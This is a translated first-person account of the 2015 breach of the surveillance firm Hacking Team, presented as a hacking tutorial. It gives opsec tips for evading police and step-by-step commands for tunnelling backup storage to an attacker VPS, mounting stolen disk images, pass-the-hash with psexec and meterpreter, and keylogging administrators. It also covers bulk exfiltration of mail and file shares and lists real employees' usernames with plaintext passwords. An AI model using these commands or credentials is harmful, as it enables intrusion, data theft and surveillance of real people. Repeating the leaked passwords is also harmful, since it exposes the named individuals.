滲透Hacking Team過程

wyzsk發表於2020-08-19
作者: range · 2016/04/20 17:08

0x00 Hacking Team


Hacking Team 是一個協助政府hack和監視記者、政治家等的公司(詳見段尾連結),當然有時候也會監控恐怖分子和罪犯。其CEO——Vincenzetti——很喜歡在他的郵件末尾加上一句納粹標語“boia chi molla” (放棄者該死),同時,他一直宣稱擁有可以解決“Tor 問題”和“暗網問題”的技術。但是我一直很懷疑他的那種技術的有效性。

0x01 小心點


很不幸,我們的世界是顛倒的,你越做壞事越富有,越做好事反而被抓。但幸運的是,多虧了人們的努力,比如"Tor專案",你可以透過以下指導來防止被人抓住把柄:

1) 加密的你的硬碟

如果有一天你做的事被發現了,警察叔叔帶走了你的電腦,儘管被發現就意味著你已經犯了很多錯誤,但是加密硬碟會比不加密要好得多。

2) 使用虛擬機器並且把所有的網路都走Tor

這樣就實現了兩點,第一、你的所有流量都匿名了。第二、把你的個人生活和匿名操作分開了,防止兩種生活互相混合。

3) 不要直接連線Tor網路 (可選項)

Tor不是萬能藥,有可能你在連線到Tor網路的時候剛好在做壞事。也可能你在退出Tor網路的時候你同樣在做壞事。最好還是用別人的wifi,或者連線vpn或者中轉機子,然後連線Tor匿名網路。

0x02 蒐集資訊


儘管這個過程非常無聊,但卻是非常重要,目標越大越多,漏洞出現的機率就越大。

1 技術方面的資訊

主要使用以下各種方面的資訊

1)Google

如果使用合適的語句,你可以發現大量的意外收穫。

2)二級域名蒐集

一般來說,域名大部分都是又第三方公司提供的,你需要尋找到其域名的IP範圍。當然,有時候會存在DNS域傳送漏洞,這樣就更好蒐集資訊了。

3)Whois查詢和反向查詢

透過各種Whois查詢和其ip範圍的域名反向查詢,你也可以獲得很多其他子域名,據我所知,沒有免費的反向查詢,除非谷歌hack。

4)埠掃描和指紋提取

和其他的技術不同,你可以跟公司的員工聊天。我把它作為可選項放在這裡因為它不是一種攻擊方式,只是蒐集資訊的一種方式。在掃描的過程中,該業務的入侵檢測系統可能會告警,但是不用擔心,整個Inernet都經常會掃描自身。

對於掃描來說,Nmap是再合適不過了,它也可以識別各種服務的指紋。但是對於大規模網路來說,zmap和masscan更快速。WhatWeb和BlindElephant 適合抓取web指紋。

2 社工資訊

對於社會工程學來說,蒐集員工資訊非常重要,包括他們的各自的角色,合約,使用的作業系統,瀏覽器,外掛,軟體等。一般使用如下途徑:

1)Google

這也是最有用的工具。

2)theHarvester y recon-ng

我在上一個內容中就提到了這些東西,但是他們其實還有更多的用處。你可以自動快速地找到大量的資訊,這也值得你去花時間閱讀官方文件。

3)LinkedIn

你可以透過這個軟體獲取到大量的僱員資訊,內部人員總是傾向於與他人交流。

4)Data.com

它就像拼圖一樣把各種資訊整合在一起。

5)File metadata

你可以在他們公司釋出的各種文件中找到大量有用的資訊。

0x03 打入內網


進入內網的方式有很多種。我打入HT內網的方式是不常見的,而且比平時花的精力要多得多,所以我在這裡提一下進入內網的兩種常見的方式,這兩種也是我推薦的。

1 社工

社會工程學,尤其是魚叉式網路釣魚,是各種滲透技巧中比較可靠的一種。更多技巧請移步段尾連結。我不想嘗試對HT進行釣魚攻擊,因為這種攻擊方式對他們來說太常見了,所以他們會非常警惕。既增加了難度,又容易被發現我的意圖。 http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/ http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf

2 購買許可權

多虧了勤勞的俄羅斯人和他們的滲透工具 “traffic sellers”和“bot herders”,許多公司都已經有了被入侵的電腦。幾乎所有世界五百強的大型網路中都存在一些被入侵的機器。但是Hacking Team是個小公司,他們的大多數員工都是資訊保安專家,所以他們內部存在被入侵機器的可能性非常小。

3 技術入侵

Gamma公司被黑以後,我就已經描述了一個尋找漏洞的過程:

http://pastebin.com/raw.php?i=cRYvK4jb

Hacking Team有一個段的公網IP:

inetnum:        93.62.139.32 - 93.62.139.47
descr:          HT public subnet

他們的網路有少量暴露在外網,比如不像Gamma公司,他們的公網地址都需要證照才能連線。HT的公網伺服器主要有一個Joomla的部落格(joomscan沒有掃出來有用的東西),一個郵件伺服器,幾個路由,兩個VPN,一個垃圾郵箱過濾系統。所以我現在只能透過以下方式獲取許可權:發現一個Joomla的0day,或者postfix的0day,或者他們其他一個系統的0day。嵌入式系統的0day對於我來說比較靠譜點,於是我花了兩週的時間,透過逆向發現了一個命令執行0day。這個0day至今仍然沒有修復,所以我也不方便給出更多細節。

0x04 事前準備


在正式攻擊之前,我做了很多測試和準備,在硬體裡面寫入了一個後門,並且在嵌入式系統上編譯了各種各樣的工具:

1) busybox

這個工具大多數的Unix系機器都沒有。

2)nmap

掃描工具

3)Responder.py

內網中間人攻擊神器

4)python

這個必須得有

5)tcpdump

抓包

6)dsniff

在內網中嗅探各種密碼之類的,我更喜歡用HT的ettercap,但是編譯起來很麻煩。

7)socat

NC的升級版,主要埠轉發

8)screen

可以讓你多視窗執行命令,其實也不是太需要

9)socks5代理主機

加上proxychains,插入內網

10)tgcd

透過轉發埠,穿透防火牆

最坑的事兒就是你把後門和工具部署上去之後,系統掛了,然後運維上去一看,全完了。所以我花了一週的時間在最後的部署之前測試我的各種後門和exp。

0x05 到處看看


現在我已經進入內網了,我想看到處看一下,並決定我下一步的工作。把Responder.py切換到分析模式(-A),然後用Nmap慢慢的掃著先。

0x06 非關係型資料庫


NoSQL,這種無需認證的資料庫對我來說簡直就是天賜良機。當我還在擔心無法透過MySQL繼續下去的時候,這些缺乏認證的資料庫出現了。Nmap發現了HT內網的一些資料庫:

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072
...
|_    version = 2.6.5

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases
...
|_    version = 2.6.5

這些是做RCS測試的例項。RCS抓到的音訊都儲存在MongoDB裡面。400G種子裡面的音訊就是來自這裡,他們也在監視著自己。

0x07 跨網段


比較有趣的是,看著監視器中正在開發惡意軟體的HT,儘管這對我的滲透來說並沒有什麼用。他們不安全的備份系統是下一個敞開的大門。根據他們自己的文件,他們的iSCSI系統應該在一個分離的網段,但是卻在192.168.1.200/24網段被nmap掃描出來了:

...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:ht-synology.name
|     Address: 192.168.200.66:3260,0
|_    Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:synology-backup.name
|     Address: 10.0.1.72:3260,0
|     Address: 192.168.200.72:3260,0
|_    Authentication: No authentication required

iSCS需要一個核心模組,這個核心模組在我的嵌入式系統中很難編譯。所以我準備把埠轉發出來以便於能夠在VPS上掛載。

VPS: tgcd -L -p 3260 -q 42838
Sistema embebida: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

iSCSI發現了iqn.2000-01.com.synology,但是在掛載的時候出現了一些問題,它的地址同時是192.168.200.72127.0.0.1

解決辦法是:

iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1

然後:

iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login

至此,檔案系統現身了!掛載上去:

vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

然後就可以發現若干個虛擬機器的安全備份了,郵件伺服器看起來很有吸引力。儘管他太大了,還是可以遠端掛載上來,搜尋我們想要的東西:

$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT

entonces el offset es 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/

現在,在/mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311 我們可以發現虛擬機器的硬碟,然後 就可以掛載上去了:

vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

最後,我們就可以在/mnt/part1看到所有老的郵件交換伺服器上的東西了。

0x08 從安全備份到域管理員


.其實我最感興趣的還是想在安全備份檔案裡面找到一些常用的密碼或者hash以便於進入物理機。我使用pwdump, cachedump 和lsadump去尋找可能的密碼,最後lsdadump發現了一個bes管理伺服器的賬戶的密碼:

_SC_BlackBerry MDS Connection Service
0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........

我透過proxychains加上嵌入式機器上的socks代理,和smb客戶端去嘗試這個密碼:

proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'

成功了!密碼仍然有效,而且是本地管理員。我用代理和metasploitpsexec__psh 來獲取一個meterpreter session。我在機器上抓取到了他的其他密碼,包括域管理員的密碼。

HACKINGTEAM  BESAdmin       bes32678!!!
HACKINGTEAM  Administrator  uu8dd8ndd12!
HACKINGTEAM  c.pozzi        P4ssword      <---- look! the sysadmin!
HACKINGTEAM  m.romeo        ioLK/(90
HACKINGTEAM  l.guerra       4luc@=.=
HACKINGTEAM  d.martinez     W4tudul3sp
HACKINGTEAM  g.russo        GCBr0s0705!
HACKINGTEAM  a.scarafile    Cd4432996111
HACKINGTEAM  r.viscardi     Ht2015!
HACKINGTEAM  a.mino         A!e$$andra
HACKINGTEAM  m.bettini      Ettore&Bella0314
HACKINGTEAM  m.luppi        Blackou7
HACKINGTEAM  s.gallucci     1S9i8m4o!
HACKINGTEAM  d.milan        set!dob66
HACKINGTEAM  w.furlan       Blu3.B3rry!
HACKINGTEAM  d.romualdi     Rd13136f@#
HACKINGTEAM  l.invernizzi   L0r3nz0123!
HACKINGTEAM  e.ciceri       2O2571&2E
HACKINGTEAM  e.rabe         [email protected]!

0x09 下載郵件


現在我有了域管理員密碼,就可以進入到業務核心——郵件中了。之後做的每一步操作都有可能隨身被發現,以防萬一,先下載郵件,這裡powershell起了很大的作用。我發現了處理日期的一個bug。在得到郵件後,我又花了兩週時間去獲得原始碼和其他東西,之後又把新的郵件下載了下來。伺服器是義大利的,時間的格式是:日/月/年,我用:

-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}

這個語法去搜尋郵件伺服器並且下載新的郵件,問題是獲得了”日期錯誤:day不能大於12“的結果,因為歐洲時間中月份通常在第一位,月份不能大於12,。看來微軟的工程師們只在他們自己的時區測試了他們的軟體。

0x0a 下載檔案


現在我已經是域管理了,我開始透過smb客戶端和代理去下載各種資源:

proxychains smbclient '//192.168.1.230/FAE DiskStation' \ -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'

至此,所有的東西都被下載下來了。

0x0b windows域滲透簡介


在與HT的故事結束之前,我想對windows內網滲透做一些簡介。

1 橫向移動(這種名詞國內好像還沒有對應的術語)

在這裡,我跟大家對各種內網滲透的技術做一些回顧。遠端執行的方式是需要密碼或者本地管理員的hash的。目前為止,最常見的方法是在機器上以管理員許可權用mimikatz本地抓取管理員密碼。而比較好的提升許可權工具主要是PowerUp和bypassuac。 遠端移動:

1)psexec

windows上這方面很有效的工具。你可以使用psexec,winexe,metasploit的psexec_psh,powershell 的invoke_psexec或者windows內建函式"sc"。對於metasploit的模組和powershell、pth-winexe,你只需要hash即可,無需密碼。這是最通用的方法,但是也是最不隱蔽的方法。時間型別7045“service control manage”會顯示在時間日誌中。根據我的經驗,沒有人會在滲透的時候注意到這個細節,但是這個細節卻對事件調查者有一定的幫助。

2)WMI

這是最隱蔽的方法。WMI服務在除了伺服器的所有windows機器上都是開著的,伺服器上的防火牆預設不會允許該服務透過。你可以使用wmiexec.py,pth-wmis,powershell 的 invoke_wmi,或者windows上的內建wmic函式。所有的wmic只需要hash。

3)PSRemoting

該功能預設是關閉的,我也不推薦將其開啟。但是如果系統管理員已經將其開啟了,就非常方便了,特別是如果你用ps幹所有的事都很容易,而且不會留下太多足跡。

4)GPO

如果以上所有的方法都被防火牆過濾了,而且你又是域管理,你就可以透過GPO給使用者一個登入指令碼,安裝一個msi,執行一個定時任務或者就像我們看到的 Mauro Romeo 那樣利用GPO開啟了WMI服務並且關閉了該服務的防火牆過濾。

本地移動:

1) 盜取token

如果你在一臺電腦上有管理許可權,你就可以用其他使用者的token去獲取域資源。這方面主要有兩個工具:incognito 和mimikatz token::*命令列。

2)MS14-068

你可以利用Kerberos 的一個bug去獲取域管理tickets。

3)程式注入

任何一款遠控都有程式注入的功能。比如meterpreter、pupy中的migrate命令,或者pwershell中的psinject命令。你可以注入到有你需要的token的程式中。

4)runas

這是一款非常有用的工具,因為它不需要管理員許可權。他使用的windows命令,如果你沒有gui你可以使用powershell。

2 維持許可權

一旦你擁有了許可權,首先想到的就是保持許可權。許可權保持一般只是對於HT這樣目標是個人和政治活動者的混蛋來說是個挑戰(看來作者跟HT有仇)。對於滲透一個公司來說,許可權保持一般不重要,因為公司一般不會關掉機器。你可以從下面的連結獲取更多關於許可權維持的技巧。對於滲透一個公司來說,這是不必要的,反而會增加被發現的機率。 http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/ http://www.hexacorn.com/blog/category/autostart-persistence/ https://blog.netspi.com/tag/persistence/

3 內部偵查

之前最好的探測windows網路的工具是powerview。這款工具很值得你去閱讀以下連結:

http://www.harmj0y.net/blog/tag/powerview/ http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/ http://www.harmj0y.net/blog/redteaming/powerview-2-0/ http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/ http://www.slideshare.net/harmj0y/i-have-the-powerview

當然,powershell也是很有效的工具,不過在2003和2000的機子上可沒有powershell。你也可以像以前那樣,用用"net view"這種命令,其他我喜歡的技巧主要有:

1)下載檔案列表

透過一個域管理賬戶你可以用powerview下載網路中的所有檔案的列表:

Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
select fullname | out-file -append files.txt}

然後你就可以隨心所欲選擇你想要的檔案來下載。

2)閱讀郵件

我們已經知道,你可以用powershell下載郵件,而且它還有很多有用的資訊。

3)檢視門戶站點

這是許多業務儲存重要資訊的地方。這個也可以用powershell下載下來。

5)監視員工

我的興趣之一就是尋找系統管理員。監視Christian Pozzi(HT的一個管理員)給了我Nagios 伺服器的許可權以及“Rete Sviluppo”的許可權。利用PowerSploit 中的Get-Keystrokes 和 Get-TimedScreenshot、GPO等的組合,你可以監視任何一個員工,甚至是整個域。

0x0c 尋獵系統管理員


透過對他們內部的文件的閱讀,我發現我缺少一個很重要的許可權——“Rete Sviluppo”——一個存放RCS原始碼的孤立網路。系統管理員總是有所有的許可權,所以我就搜尋Mauro Romeo 和Christian Pozzi的電腦,看他們怎麼管理Sviluppo網路,順便看看有沒有其他我感興趣的系統。他們的電腦也是域成員,所以搞到他們的電腦許可權很簡單。Mauro Romeo的電腦沒有開放任何埠,所以我開啟了WMI的埠並執行了meterpreter。為了監控他們的鍵盤和螢幕,我使用很多metersploit的/gathre/模組。然後到處搜尋感興趣的檔案。我發現Pozzi有個加密卷,便等他把它掛載上來的時候,複製了所有的檔案。他們的密碼對我來說,都是沒有任何用處的,我感到很可笑。因為mimikatz和鍵盤記錄器洩露了一切。

0x0d 橋樑


Pozzi的加密卷中,有很多文字格式的密碼。其中一些就是Nagios伺服器的密碼,為了方便監視,這個伺服器有許可權訪問那個Sviluppo網路。我也就找到了一座進入孤立網路的橋樑。儘管我有那個伺服器的密碼,但是他還有個公開的命令執行。

0x0e 再次利用並重置密碼


閱讀郵件後,我看到了Daniele Milan有git機器的許可權。我已經有了他的windows密碼(mimikatz),我在git機器上嘗試了一下,成功了!而且可以sudo。為了拿到gitlab伺服器和他們的推特賬號,我利用了郵件伺服器和“忘記密碼”功能重置了密碼。

0x0f 總結


以上就是我對抗一個公司並且終止了他們侵犯人權的行為的過程。 這也是Hacking的魅力與不對稱:一個人花100個小時,便可以對抗並逆轉一個有著好幾年歷史價值數百萬美元公司的命運。Hacking能夠給予失敗者戰鬥並贏回的機會。

Hacking參考通常意味著放棄:這只是一個小小的教訓,做一個有道德的駭客,不要未經允許攻擊他人的系統等等。我經常這樣說,但是做起來卻經常與之背道而馳。洩露檔案,沒收銀行的錢財,努力讓普通人的電腦變得更加安全,這才是有道德的駭客。但是,很多人稱自己為“良心駭客”,其實他們只是為給他們更多錢的人工作,而那些人更應該被hack。

HT視他們自己為義大利創新的一部分,但是在我看來,Vincenzetti和他的公司,他在警察中的密友,政府都是義大利法西斯主義的傳統。謹以此文獻給在迪亞茲阿曼多學校的突襲中的受害者們,和所有因義大利法西斯主義而受到過傷害的人們。

原作:https://ghostbin.com/paste/6kho7?luicode=10000359,由安全工具箱翻譯。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章